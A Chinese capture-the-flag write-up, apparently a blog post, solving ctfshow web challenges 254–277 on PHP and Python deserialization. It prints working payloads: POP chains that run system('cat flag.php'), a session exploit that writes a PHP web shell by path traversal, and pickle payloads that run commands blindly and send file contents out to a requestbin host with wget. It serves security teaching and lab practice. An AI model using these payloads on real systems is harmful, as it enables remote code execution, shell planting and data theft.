前言
新的篇章师傅们加油鸭,建议没有基础的师傅在web254完成后去百度一下ctf反序列化学习一下基础知识哦,这里不再赘述,然后有些题感觉比较简单可能不会更新了
web254
代码审计,首先初始化ctfShowUser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx
,因此我们只需要传入username=xxxxxx&password=xxxxxx
即可获取flag
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
web255
首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后checkVip要求是true,之后执行vipOneKeyGetFlag获取flag
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
因此我们配合php生成payload,配合burpsuite写入cookie字段并传入参数即可(注意在cookie字段当中需要url编码一波)(其名称以及存储的字符串值是必须经过URL编码的),之后get请求传入username=xxxxxx&password=xxxxxx
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
web256
和上一道题一样,就是要求username和password不能一样就可以啦
web257
解法一
代码审计,魔法函数
__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法
因此我们只需要在执行__construct
的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct()
,此时eval($this->code);
等价于eval(system('cat flag.php');)
因此为了实现这个目的首先去掉我们不需要的info类,下面
构造pop链(由于配上private有特殊不可见字符不想手动处理所以进行url编码)
<?php
error_reporting(0);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system('cat flag.php');";
public function getInfo(){
eval($code);
}
}
echo urlencode(serialize(new ctfShowUser()));
最后生成反序列化构造的数据
同时username与password传入参数xxxxxx
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
解法二
知识点:php7.1+反序列化对类属性不敏感(其实和上面一样哒)
利用php特定版本下对private和public不敏感的特性构造
<?php
//error_reporting(0);
class ctfShowUser{
public $class = 'backDoor';
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($code);
}
}
$a = new backDoor();
$b = new ctfShowUser();
$b->class=$a;
echo urlencode(serialize($b));
web258
绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);
web259
写在了另一篇文章:
从一道题学习SoapClient与CRLF组合拳
https://y4tacker.blog.csdn.net/article/details/110521104
web262-264
暂时懒得更新
web263
考点:php-session反序列化,代码审计,文件泄露(www.zip)
感觉以前我写的挺详细的[代码审计]PHP中session的存储方式(WP)
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了,毕竟是默认配置对吧
利用exp:()
<?php
class User{
public $username="admin/../../../../../../../../../../var/www/html/1.php";
public $password="<?php system('cat flag.php');?>";
public $status;
}
$a = new User();
$c = "|".serialize($a);
echo urlencode(base64_encode($c));
之后大致说下解题步骤:
1.首先访问首页,获得 cookie,同时建立 session
2.抓包修改 cookie 为序列化字符串
3.访问 check.php,反序列化实现 shell 写入
4.访问1.php审查元素查看flag
web265
用引用
<?php
class ctfshowAdmin{
public $token=1;
public $password=1;
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
echo urlencode(serialize($a));
web266
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
发现大小写不敏感不知道为啥,yq1ng师傅在评论区说的php对类的命名就不检查大小写,自己试了一下果然是的
web277
解法一
首先打开题目环境
审查元素发现关键的代码,发现是pickle反序列化
简单提一句,pickle可以序列化python的任何数据结构,包括一个类,一个对象,但如果像下面这样构造的类在序列化过程当中就会忽略a与b所以我们通常会将其写入__init__
当中
class A(object):
a = 'aaa'
b = 2
接下来步入正轨,我们这里主要是用reduce
进行利用,但是发现执行完以后没回显,只有一个成功的界面,害群主提示说dnslog带外输出,之后我尝试了curl、ping都不行最后发现wget可以,下面直接给出payload吧,有点累了想睡觉
这里配合了requestbin那个网站,当然也可以使用dnslog带外输出啦
#!/usr/bin/env python
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return os.system, ('wget http://requestbin.net/r/rfs12yrf?a=`cat fla*`',)
print(base64.b64encode(pickle.dumps(RunCmd())))
# m=base64.b64decode(base64.b64encode(pickle.dumps(RunCmd())))
# m=pickle.loads(m)
拿到flag啦
解法二
rce盲注大家可以学习学习嘿嘿
#!/usr/bin/env python
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return os.system, ('if [ `cut -c 1 ./flag` = 'f' ];then sleep 4;fi',)
print(base64.b64encode(pickle.dumps(RunCmd())))